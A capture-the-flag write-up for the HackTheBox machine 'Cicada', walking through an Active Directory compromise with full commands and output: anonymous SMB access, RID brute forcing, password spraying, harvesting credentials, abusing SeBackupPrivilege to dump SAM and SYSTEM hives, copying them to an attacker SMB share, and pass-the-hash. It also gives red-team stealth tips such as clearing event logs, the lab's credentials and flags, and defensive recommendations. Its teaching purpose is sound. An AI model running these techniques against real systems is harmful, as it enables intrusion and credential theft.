Cicada - HackTheBox Complete Writeup

Machine Information

#

• Name: Cicada
• IP: 10.129.231.149
• OS: Windows Server 2022 Build 20348
• Difficulty: Easy
• Release Date: September 26, 2024
• Creator: @theblxckcicada
• Domain: cicada.htb

Table of Contents

#

1. Reconnaissance
2. Enumeration
3. Initial Foothold
4. Lateral Movement
5. Privilege Escalation
6. Flags
7. Key Takeaways

Reconnaissance

#

Initial Nmap Scan

#

1

nmap -sC -sV -oA nmap/cicada 10.129.231.149

Results:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-14 11:59:03Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0.)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Analysis:

• This is a Windows Domain Controller
• WinRM (5985) is open - potential for remote management
• SMB (445) is open - check for anonymous access
• LDAP (389/636) is available - can enumerate domain information
• Domain name: cicada.htb

Add Domain to Hosts File

#

1

echo "10.129.231.149 cicada.htb CICADA-DC" | sudo tee -a /etc/hosts

Enumeration

#

Step 1: SMB Share Enumeration (Anonymous Access)

#

Check for accessible SMB shares without authentication:

1

smbclient -L //10.129.231.149 -N

Explanation: The -N flag suppresses the password prompt, attempting anonymous/guest authentication.

Results:

1
2
3
4
5
6
7
8
9

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
DEV             Disk      
HR              Disk      
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
SYSVOL          Disk      Logon server share

Key Finding: HR share is accessible anonymously! This is a critical misconfiguration.

Step 2: Access HR Share

#

1

smbclient //10.129.231.149/HR -N

Download all files from the share:

1
2
3

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

File Retrieved: Notice from HR.txt

Contents:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our 
security protocols, it's essential that you change your default password to something 
unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:
1. Log in to your Cicada Corp account using the provided username and the default 
   password mentioned above.
...

Critical Finding: Default password exposed: Cicada$M6Corpb*@Lp#nZp!8

Explanation: Organizations sometimes use default passwords for new employees. This is a severe security risk if:

• The password is documented in accessible locations
• Users don’t change it immediately
• It’s the same for multiple accounts

Initial Foothold

#

Step 3: RID Brute Force - User Enumeration

#

We have a password but no username. Let’s enumerate domain users using RID brute forcing.

What is RID Brute Forcing?

• Every Windows user has a Security Identifier (SID)
• Format: S-1-5-21-{domain}-{RID}
• RID (Relative Identifier) increments sequentially: 500, 501, 502, etc.
• We can query RIDs via SMB to discover usernames
• Even guest/anonymous access allows this

Command:

1

netexec smb 10.129.231.149 -u 'guest' -p '' --rid-brute

Alternative commands (all work):

1
2

crackmapexec smb 10.129.231.149 -u 'guest' -p '' --rid-brute
nxc smb 10.129.231.149 -u 'a' -p '' --rid-brute

Results - Domain Users Discovered:

1
2
3
4
5
6
7
8

500: CICADA\Administrator (SidTypeUser)
501: CICADA\Guest (SidTypeUser)
502: CICADA\krbtgt (SidTypeUser)
1104: CICADA\john.smoulder (SidTypeUser)
1105: CICADA\sarah.dantelia (SidTypeUser)
1106: CICADA\michael.wrightson (SidTypeUser)
1108: CICADA\david.orelious (SidTypeUser)
1601: CICADA\emily.oscars (SidTypeUser)

Key Users Identified:

• john.smoulder
• sarah.dantelia
• michael.wrightson
• david.orelious
• emily.oscars

Step 4: Password Spraying

#

Create a user list and spray the default password:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Create users.txt with the discovered usernames
cat > users.txt << EOF
Administrator
Guest
krbtgt
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
EOF

Password Spray Attack:

1

netexec smb 10.129.231.149 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

Explanation:

• Password spraying tries one password against multiple users
• --continue-on-success keeps testing after finding valid credentials
• This is safer than brute forcing (fewer lockouts)

Result:

1

SMB  10.129.231.149  445  CICADA-DC  [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

Success! Valid credentials found: michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

Lateral Movement

#

Step 5: Authenticated SMB Enumeration

#

Check what shares Michael can access:

1

smbmap -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' -H 10.129.231.149

Results:

1
2
3
4
5
6
7
8
9

Disk            Permissions     Comment
----            -----------     -------
ADMIN$          NO ACCESS       Remote Admin
C$              NO ACCESS       Default share
DEV             NO ACCESS       
HR              READ ONLY
IPC$            READ ONLY       Remote IPC
NETLOGON        READ ONLY       Logon server share 
SYSVOL          READ ONLY       Logon server share

Note: DEV share shows “NO ACCESS” in smbmap, but let’s verify with ldapdomaindump.

Step 6: LDAP Domain Dump

#

Use authenticated LDAP access to gather comprehensive domain information:

1

ldapdomaindump 10.129.231.149 -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'

Explanation: ldapdomaindump queries LDAP and creates HTML reports with:

• All domain users
• User descriptions (often contain passwords!)
• Group memberships
• Computer accounts
• Domain policies

Files Created:

• domain_users.html
• domain_users.json
• domain_groups.html
• domain_computers.html
• etc.

Step 7: Finding Second Set of Credentials

#

Examine the domain_users.json for interesting information:

1

cat domain_users.json | jq '.'

Critical Finding in David Orelious’s Account:

1
2
3
4
5
6
7
8

{
  "attributes": {
    "cn": ["David Orelious"],
    "sAMAccountName": ["david.orelious"],
    "description": ["Just in case I forget my password is aRt$Lp#7t*VQ!3"],
    ...
  }
}

Explanation: Storing passwords in user descriptions is a critical security flaw. Admins sometimes do this for “convenience” but it’s visible to any authenticated user via LDAP.

New Credentials Found: david.orelious:aRt$Lp#7t*VQ!3

Step 8: Testing WinRM Access with David’s Credentials

#

1

netexec winrm 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'

Result:

1

WINRM  10.129.231.149  5985  CICADA-DC  [-] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3

Failed! David doesn’t have WinRM access. Let’s check the DEV share instead.

Step 9: Accessing DEV Share with David’s Credentials

#

1
2

smbclient //10.129.231.149/DEV -U david.orelious
# Password: aRt$Lp#7t*VQ!3

Success! David can access the DEV share.

Commands in SMB:

1
2
3
4
5
6
7
8

smb: \> ls
  .                                   D        0  Thu Mar 14 08:31:39 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 13:28:22 2024

smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

Step 10: Analyzing Backup Script

#

File: Backup_script.ps1

Contents:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Critical Finding: Hardcoded credentials in the script!

• Username: emily.oscars
• Password: Q!3@Lp#M6b*7t*Vt

Explanation: Embedding credentials in scripts is a common but dangerous practice. This is especially risky when scripts are stored in accessible shares.

Step 11: Testing Emily’s Credentials

#

1

netexec winrm 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Result:

1

WINRM  10.129.231.149  5985  CICADA-DC  [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)

Success! Emily has WinRM access. The “(Pwn3d!)” indicator means we can get a shell!

Step 12: Getting Initial Shell

#

1

evil-winrm -i 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Explanation: Evil-WinRM uses the WinRM protocol (Windows Remote Management) to get a PowerShell session. It requires:

• Valid credentials
• User must be in “Remote Management Users” group
• WinRM service must be running (port 5985/5986)

Success! We’re in:

1

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>

Step 13: Getting User Flag

#

1
2

cd C:\Users\emily.oscars.CICADA\Desktop
type user.txt

User Flag: ff94c460876f705c2f45270e5ae4b076

Privilege Escalation

#

Step 14: Enumerate User Privileges

#

Check what permissions Emily has:

1
2
3

whoami /all
whoami /priv
whoami /groups

Key Findings:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

USER INFORMATION
----------------
User Name                SID
======================== ================================================
cicada\emily.oscars      S-1-5-21-917908876-1423158569-3159038727-1601

GROUP INFORMATION
-----------------
Group Name                           Type
==================================== ====
BUILTIN\Backup Operators            Alias
BUILTIN\Remote Management Users     Alias
...

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                         State
============================= =================================== ========
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
...

Critical Privileges:

• Backup Operators Group: Built-in privileged group
• SeBackupPrivilege: Can read ANY file on the system, bypassing ACLs
• SeRestorePrivilege: Can write to ANY location on the system

Explanation:

• Backup Operators is designed for backup software
• SeBackupPrivilege lets backup tools read files even when ACLs deny access
• This is essentially a “read-anything” privilege
• We can abuse this to read the Administrator’s files or dump password hashes

Method 1: Easy Root Flag Retrieval

#

The quickest way to get the root flag is using robocopy with backup mode:

1
2

robocopy /b C:\Users\Administrator\Desktop C:\Users\emily.oscars.CICADA\Desktop root.txt
type C:\Users\emily.oscars.CICADA\Desktop\root.txt

Explanation:

• robocopy is Windows’ robust file copy utility
• /b flag enables “backup mode” which leverages SeBackupPrivilege
• This bypasses NTFS permissions and ACLs
• We can copy files we normally can’t access

Root Flag: 6e2b72509a4ecbb85b1e7df87cce9c7f

Method 2: Full Administrator Access (Pass-the-Hash)

#

For complete system compromise, we’ll extract the Administrator password hash.

Step 15: Set Up SMB Server on Attacker Machine

#

On your Kali machine:

1
2
3

sudo mkdir -p /tmp/share
sudo chmod 777 /tmp/share
sudo impacket-smbserver share /tmp/share -smb2support

Explanation: We need a network share to exfiltrate the registry hives. The SMB server will receive the files from the Windows machine.

Step 16: Dump Registry Hives

#

Back in your Evil-WinRM session:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# Create backup directory
mkdir C:\Windows\Temp\backup

# Dump SYSTEM hive (contains encryption keys)
reg save HKLM\SYSTEM C:\Windows\Temp\backup\SYSTEM

# Dump SAM hive (contains password hashes)
reg save HKLM\SAM C:\Windows\Temp\backup\SAM

# Copy to attacker machine
copy C:\Windows\Temp\backup\SYSTEM \\10.10.14.X\share\SYSTEM
copy C:\Windows\Temp\backup\SAM \\10.10.14.X\share\SAM

Explanation:

• SYSTEM hive: Contains the SYSKEY (encryption key for SAM)
• SAM hive: Security Account Manager database with password hashes
• reg save: Windows command to export registry hives
• SeBackupPrivilege allows us to read these protected registry keys
• We exfiltrate them via SMB to our Kali machine

Actual Commands Used:

1
2
3
4

*Evil-WinRM* PS> reg save HKLM\SYSTEM C:\Windows\Temp\backup\SYSTEM
*Evil-WinRM* PS> reg save HKLM\SAM C:\Windows\Temp\backup\SAM
*Evil-WinRM* PS> download "C:\Windows\Temp\backup\SAM"
*Evil-WinRM* PS> download "C:\Windows\Temp\backup\SYSTEM"

Step 17: Extract Password Hashes

#

On Kali, fix permissions and extract hashes:

1
2
3
4
5

cd /tmp/share
sudo chown kali:kali SAM SYSTEM
chmod 644 SAM SYSTEM

secretsdump.py -sam SAM -system SYSTEM LOCAL

Explanation:

• secretsdump.py is an Impacket tool
• It uses the SYSTEM key to decrypt the SAM database
• Extracts NTLM password hashes for all local users

Results:

1
2
3
4
5

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Administrator Hash: 2b87e7c93a3e8a0ea4a581937016f341

Explanation of Hash Format:

• First part (aad3b435…): LM hash (legacy, usually empty)
• Second part (2b87e7c9…): NTLM hash (what we need)
• NTLM hashes can be used directly for authentication (Pass-the-Hash)

Step 18: Pass-the-Hash Attack

#

Use the Administrator hash to get a privileged shell:

1

evil-winrm -i 10.129.231.149 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Explanation - Pass-the-Hash:

• Windows authenticates using NTLM hashes
• We don’t need the plaintext password
• The hash can be used directly for authentication
• This is why hash extraction is so powerful

Alternative with psexec:

1

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341 Administrator@10.129.231.149

Success! Administrator Shell:

1

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Step 19: Retrieve Root Flag

#

1
2

cd C:\Users\Administrator\Desktop
type root.txt

Root Flag: 6e2b72509a4ecbb85b1e7df87cce9c7f

Flags

#

User Flag

#

Location: C:\Users\emily.oscars.CICADA\Desktop\user.txt
Flag: ff94c460876f705c2f45270e5ae4b076

Root Flag

#

Location: C:\Users\Administrator\Desktop\root.txt
Flag: 6e2b72509a4ecbb85b1e7df87cce9c7f

Attack Chain Summary

#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

1. Anonymous SMB Access
   └─> Found: Default Password in HR share
       └─> Password: Cicada$M6Corpb*@Lp#nZp!8

2. RID Brute Force
   └─> Enumerated: Domain Users
       └─> Users: michael.wrightson, david.orelious, emily.oscars, etc.

3. Password Spray
   └─> Valid Creds: michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
       └─> Access: LDAP, SMB shares

4. LDAP Domain Dump
   └─> Found: Password in david.orelious description
       └─> Credentials: david.orelious:aRt$Lp#7t*VQ!3

5. SMB DEV Share Access
   └─> Found: Backup script with hardcoded credentials
       └─> Credentials: emily.oscars:Q!3@Lp#M6b*7t*Vt

6. WinRM Access
   └─> Shell as: emily.oscars
       └─> User Flag: ff94c460876f705c2f45270e5ae4b076

7. Privilege Escalation
   └─> Abuse: SeBackupPrivilege (Backup Operators group)
       └─> Method 1: robocopy /b (quick flag grab)
       └─> Method 2: Dump SAM/SYSTEM → Extract hashes → Pass-the-Hash
           └─> Administrator Hash: 2b87e7c93a3e8a0ea4a581937016f341
               └─> Root Flag: 6e2b72509a4ecbb85b1e7df87cce9c7f

Key Takeaways

#

Vulnerabilities Exploited

#

1. Anonymous SMB Access (CWE-284)

   • HR share accessible without authentication
   • Contained sensitive default password documentation

2. Weak Password Management (CWE-521)

   • Single default password used for multiple new hires
   • Password documented in accessible location
   • No forced password change on first login

3. Information Disclosure via RID Enumeration (CWE-200)

   • Guest/anonymous account could enumerate all domain users
   • Enabled username discovery for password spraying

4. Password in User Description (CWE-522)

   • David Orelious’s password stored in LDAP description field
   • Visible to any authenticated domain user
   • Critical OPSEC failure

5. Hardcoded Credentials (CWE-798)

   • Backup script contained plaintext credentials
   • Script stored in accessible SMB share
   • No encryption or secure storage

6. Excessive Privileges (CWE-269)

   • Emily.oscars added to Backup Operators group unnecessarily
   • SeBackupPrivilege allows reading any file on the system
   • Enabled privilege escalation to Administrator

7. Inadequate Access Controls (CWE-732)

   • DEV share contained sensitive scripts
   • Accessible by regular domain users
   • Should be restricted to administrators only

Tools Used

#

Defense Recommendations

#

Immediate Actions

#

1. ❌ Remove anonymous SMB access

   • Disable guest account
   • Require authentication for all shares
   • Command: net user guest /active:no

2. ❌ Disable RID enumeration

   • Configure registry to restrict anonymous SID/Name translation
   • Set HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RestrictAnonymous to 2

3. ❌ Clean up password exposures

   • Remove passwords from user descriptions
   • Audit all LDAP attributes for sensitive data
   • Remove hardcoded credentials from scripts

4. ❌ Review group memberships

   • Remove users from Backup Operators unless absolutely necessary
   • Audit all privileged group memberships
   • Implement just-in-time (JIT) access

Long-term Improvements

#

1. ✅ Implement LAPS (Local Administrator Password Solution)

   • Randomizes local admin passwords
   • Stores them securely in AD
   • Auto-rotates on schedule

2. ✅ Password Policy Enforcement

   • Eliminate default passwords
   • Force password change on first logon
   • Implement password complexity requirements
   • Use Group Policy: Computer Configuration → Windows Settings → Security Settings

3. ✅ Credential Management

   • Use Windows Credential Manager
   • Implement Azure Key Vault or similar
   • Never store passwords in scripts or descriptions
   • Use service accounts with minimal privileges

4. ✅ SMB Hardening

   • Enable SMB signing (prevents relay attacks)
   • Disable SMBv1 (deprecated and insecure)
   • Implement share-level permissions carefully
   • Commands:

     1 2	Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force Set-SmbServerConfiguration -RequireSecuritySignature $true -Force

5. ✅ Privilege Monitoring

   • Monitor SeBackupPrivilege usage
   • Alert on registry hive access
   • Implement Windows Event Log monitoring
   • Watch for Event IDs: 4672, 4673, 4697

6. ✅ Network Segmentation

   • Separate Domain Controllers from user networks
   • Implement firewall rules
   • Use VLANs for different security zones

7. ✅ Regular Security Audits

   • Scan for anonymous SMB shares
   • Review LDAP attributes for sensitive data
   • Audit privileged group memberships
   • Penetration testing quarterly

Active Directory Best Practices

#

1. Principle of Least Privilege

   • Users should have minimum necessary permissions
   • Use temporary privilege elevation when needed
   • Regular access reviews

2. Secure Administrative Practices

   • Use separate admin accounts for privileged tasks
   • Never log into workstations with domain admin accounts
   • Implement Protected Users group

3. Password Protection

   • Deploy LAPS for local administrators
   • Use long, complex passwords (15+ characters)
   • Implement password rotation policies
   • Consider passwordless authentication (FIDO2, Windows Hello)

4. Monitoring and Detection

   • Enable advanced threat protection (ATP)
   • Monitor for suspicious LDAP queries
   • Alert on unexpected privilege escalations
   • Implement SIEM (Security Information and Event Management)

Pentester Notes

#

Enumeration Checklist

#

• Anonymous SMB access (smbclient -L -N)
• RID brute force (nxc smb --rid-brute)
• LDAP anonymous bind (ldapsearch -x -H ldap://target)
• Password spraying (one password, many users)
• Check user descriptions for passwords
• Look for backup files, scripts, configs in shares
• Test WinRM access (nxc winrm)

Privilege Escalation Checklist

#

• Check whoami /priv for dangerous privileges
• SeBackupPrivilege → Dump SAM/SYSTEM
• SeDebugPrivilege → Process injection
• SeImpersonatePrivilege → Potato exploits
• Check group memberships (whoami /groups)
• Backup Operators → Read any file
• Account Operators → Create admin users

Key Windows Privileges to Watch For

#

Quick Reference Commands

#

Complete Attack Path

#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

# 1. Enumeration
nmap -sC -sV 10.129.231.149
echo "10.129.231.149 cicada.htb" | sudo tee -a /etc/hosts

# 2. Anonymous SMB
smbclient -L //10.129.231.149 -N
smbclient //10.129.231.149/HR -N
# Download: Notice from HR.txt
# Found: Cicada$M6Corpb*@Lp#nZp!8

# 3. User enumeration
netexec smb 10.129.231.149 -u 'guest' -p '' --rid-brute > users.txt

# 4. Password spray
netexec smb 10.129.231.149 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
# Found: michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

# 5. LDAP dump
ldapdomaindump 10.129.231.149 -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
cat domain_users.json | jq '.' | grep -A5 "description"
# Found: david.orelious:aRt$Lp#7t*VQ!3

# 6. DEV share access
smbclient //10.129.231.149/DEV -U david.orelious
# Password: aRt$Lp#7t*VQ!3
# Download: Backup_script.ps1
# Found: emily.oscars:Q!3@Lp#M6b*7t*Vt

# 7. WinRM check
netexec winrm 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

# 8. Get shell
evil-winrm -i 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

# 9. User flag
type C:\Users\emily.oscars.CICADA\Desktop\user.txt

# 10. Privilege escalation (Quick method)
robocopy /b C:\Users\Administrator\Desktop C:\Users\emily.oscars.CICADA\Desktop root.txt
type root.txt

# 11. Privilege escalation (Full admin)
# On Kali:
sudo impacket-smbserver share /tmp/share -smb2support

# On Windows:
reg save HKLM\SYSTEM C:\Windows\Temp\backup\SYSTEM
reg save HKLM\SAM C:\Windows\Temp\backup\SAM
download "C:\Windows\Temp\backup\SAM"
download "C:\Windows\Temp\backup\SYSTEM"

# On Kali:
secretsdump.py -sam SAM -system SYSTEM LOCAL
# Hash: 2b87e7c93a3e8a0ea4a581937016f341

# 12. Pass-the-Hash
evil-winrm -i 10.129.231.149 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
type C:\Users\Administrator\Desktop\root.txt

One-Liner Enumeration Script

#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

#!/bin/bash
TARGET="10.129.231.149"
DOMAIN="cicada.htb"

# Quick enumeration
echo "[+] Checking anonymous SMB..."
smbclient -L //$TARGET -N

echo "[+] Enumerating users via RID brute force..."
netexec smb $TARGET -u 'guest' -p '' --rid-brute | grep SidTypeUser | awk '{print $5}' | cut -d'\' -f2 > users.txt

echo "[+] Found users:"
cat users.txt

echo "[+] Ready for password spray!"

Additional Attack Vectors (Not Used But Available)

#

Kerberoasting

#

If we had domain credentials, we could extract service account hashes:

1

impacket-GetUserSPNs cicada.htb/michael.wrightson:Cicada\$M6Corpb\*@Lp#nZp!8 -dc-ip 10.129.231.149 -request

AS-REP Roasting

#

Check for accounts without Kerberos pre-authentication:

1

impacket-GetNPUsers cicada.htb/ -usersfile users.txt -format hashcat -outputfile hashes.txt -dc-ip 10.129.231.149

BloodHound Enumeration

#

Map the entire AD environment:

1

bloodhound-python -d cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' -ns 10.129.231.149 -c all

NTDS.dit Extraction (Domain Controller)

#

Since this is a DC, we could dump all domain hashes:

1
2
3
4
5
6
7

# Using SeBackupPrivilege
diskshadow
# Create shadow copy
# Copy NTDS.dit from shadow

# Or use built-in tools
ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntds" q q

Lessons Learned

#

For Blue Team

#

Detection Opportunities:

1. Anonymous SMB Access

   • Event ID 5140 (Share accessed)
   • Monitor for guest/anonymous account usage

2. RID Brute Force

   • Multiple SAMR queries from single IP
   • Event ID 4798 (User SID enumeration)

3. Password Spray

   • Multiple failed logons with same password
   • Event ID 4625 (Failed logon)
   • Look for same source IP hitting multiple accounts

4. LDAP Queries

   • Unusual LDAP attribute queries
   • Event ID 1644 (LDAP searches)

5. SeBackupPrivilege Abuse

   • Event ID 4673 (Sensitive privilege use)
   • Registry hive access from non-system accounts
   • Unusual robocopy usage

6. Pass-the-Hash

   • Logon Type 3 with NTLM
   • Event ID 4624 (Successful logon) with LogonType 3
   • No Kerberos tickets generated

For Red Team

#

Stealth Improvements:

1. Use smaller user lists for password spraying (avoid lockouts)
2. Add delays between authentication attempts
3. Use compromised domain machines for attacks (blend with normal traffic)
4. Prefer Kerberos over NTLM when possible
5. Clean up artifacts (temp files, event logs if possible)
6. Use legitimate admin tools (Living Off The Land)

Alternative Techniques:

1. Use PowerShell instead of compiled tools
2. Leverage LOLBAS binaries
3. In-memory execution to avoid disk writes
4. Use native Windows tools (net, wmic, powershell)

Real-World Implications

#

How This Happens in Corporate Environments

#

1. Default Passwords

   • HR departments create documentation for new hires
   • IT uses same password for efficiency
   • Users don’t change passwords immediately
   • Documentation stored in accessible locations

2. Password in Descriptions

   • Help desk stores passwords for “reference”
   • Service account documentation
   • Legacy practices from pre-LAPS era

3. Hardcoded Credentials in Scripts

   • Backup scripts need credentials
   • Developers prioritize functionality over security
   • Scripts shared across teams
   • No secrets management solution

4. Over-Privileged Accounts

   • “Just in case” permissions
   • Inherited from previous admin
   • No regular access reviews
   • Convenience over security

Impact Assessment

#

If this were a real environment:

Potential Business Impact:

• Ransomware deployment across entire domain
• Data breach (customer PII, financial records)
• Intellectual property theft
• Regulatory fines (GDPR, HIPAA, etc.)
• Reputation damage
• Business interruption

Estimated Remediation Time:

• Immediate: 2-4 hours (disable compromised accounts)
• Short-term: 1-2 weeks (fix vulnerabilities)
• Long-term: 1-3 months (implement security controls)

Advanced Topics

#

Understanding SeBackupPrivilege

#

Technical Details:

• Part of Windows Backup and Restore privileges
• Bypasses DACL (Discretionary Access Control List)
• Can read files even with DENY ACLs
• Required for volume shadow copy operations
• Commonly assigned to Backup Operators group

API Calls Used:

• OpenProcessToken() - Get process token
• LookupPrivilegeValue() - Get privilege LUID
• AdjustTokenPrivileges() - Enable privilege
• BackupRead() - Read files with privilege

Abuse Methods:

1. Registry hive dumping (SAM, SYSTEM, SECURITY)
2. NTDS.dit extraction (Domain Controller)
3. Reading protected files (credentials, config files)
4. Volume Shadow Copy access

Detection:

1
2
3

# Monitor for SeBackupPrivilege usage
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4673} | 
Where-Object {$_.Message -like "*SeBackupPrivilege*"}

Pass-the-Hash Explained

#

How It Works:

1. Windows stores password hashes in SAM/LSASS
2. NTLM authentication uses hash, not plaintext
3. Server challenges client with random nonce
4. Client encrypts nonce with NTLM hash
5. Server verifies response

Why It’s Effective:

• No need to crack the hash
• Hash is the credential
• Works across network protocols (SMB, WinRM, RDP)
• Persists until password is changed

Mitigations:

• Disable NTLM, use Kerberos only
• Enable Credential Guard
• Use Protected Users group
• Implement LAPS
• Network segmentation

Conclusion

#

The Cicada machine demonstrates a realistic Active Directory penetration testing scenario. The attack chain exploited multiple common misconfigurations:

1. ✅ Anonymous SMB access led to information disclosure
2. ✅ Weak password management enabled initial access
3. ✅ Poor credential hygiene facilitated lateral movement
4. ✅ Excessive privileges allowed privilege escalation

Key Takeaway: Security is only as strong as its weakest link. A single misconfiguration (anonymous SMB) led to complete domain compromise.

Final Checklist

#

What We Accomplished:

• Enumerated domain users via RID brute force
• Found default password in accessible share
• Discovered credentials in LDAP descriptions
• Extracted credentials from backup scripts
• Gained WinRM access as domain user
• Abused SeBackupPrivilege for privilege escalation
• Extracted Administrator hash from SAM
• Performed Pass-the-Hash attack
• Retrieved both user and root flags
• Achieved complete domain compromise

Resources and References

#

Documentation

#

• Microsoft: Active Directory Security Best Practices
• NIST: Active Directory Security
• MITRE ATT&CK: Active Directory Techniques

Tools

#

• NetExec Wiki
• Impacket Documentation
• Evil-WinRM
• ldapdomaindump

Further Learning

#

• CRTP - Certified Red Team Professional
• CRTO - Certified Red Team Operator
• HackTricks - Windows Local Privilege Escalation
• PayloadsAllTheThings - Active Directory

Vulnerable by Design Labs

#

• HackTheBox Pro Labs (Dante, Offshore, RastaLabs)
• TryHackMe AD rooms
• PentesterLab AD courses
• GOAD (Game of Active Directory)

Credits

#

Machine Creator: @theblxckcicada
Platform: HackTheBox
Writeup Author: Based on actual penetration test
Date Pwned: November 14, 2025

Appendix: Full Command Log

#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95

# Initial Setup
echo "10.129.231.149 cicada.htb CICADA-DC" | sudo tee -a /etc/hosts

# Reconnaissance
nmap -sC -sV -oA nmap/cicada 10.129.231.149

# Anonymous SMB Enumeration
smbclient -L //10.129.231.149 -N
smbclient //10.129.231.149/HR -N
# In smbclient: recurse ON, prompt OFF, mget *
cat "Notice from HR.txt"
# Found: Cicada$M6Corpb*@Lp#nZp!8

# User Enumeration
netexec smb 10.129.231.149 -u 'guest' -p '' --rid-brute
crackmapexec smb 10.129.231.149 -u 'guest' -p '' --rid-brute
nxc smb 10.129.231.149 -u 'a' -p '' --rid-brute

# Create users list
cat > users.txt << EOF
Administrator
Guest
krbtgt
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
EOF

# Password Spraying
netexec smb 10.129.231.149 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
# Result: michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

# Authenticated Enumeration
smbmap -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' -H 10.129.231.149
ldapdomaindump 10.129.231.149 -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'

# Analyze LDAP Dump
cat domain_users.json | jq '.'
# Found in david.orelious description: aRt$Lp#7t*VQ!3

# Test WinRM for david
netexec winrm 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
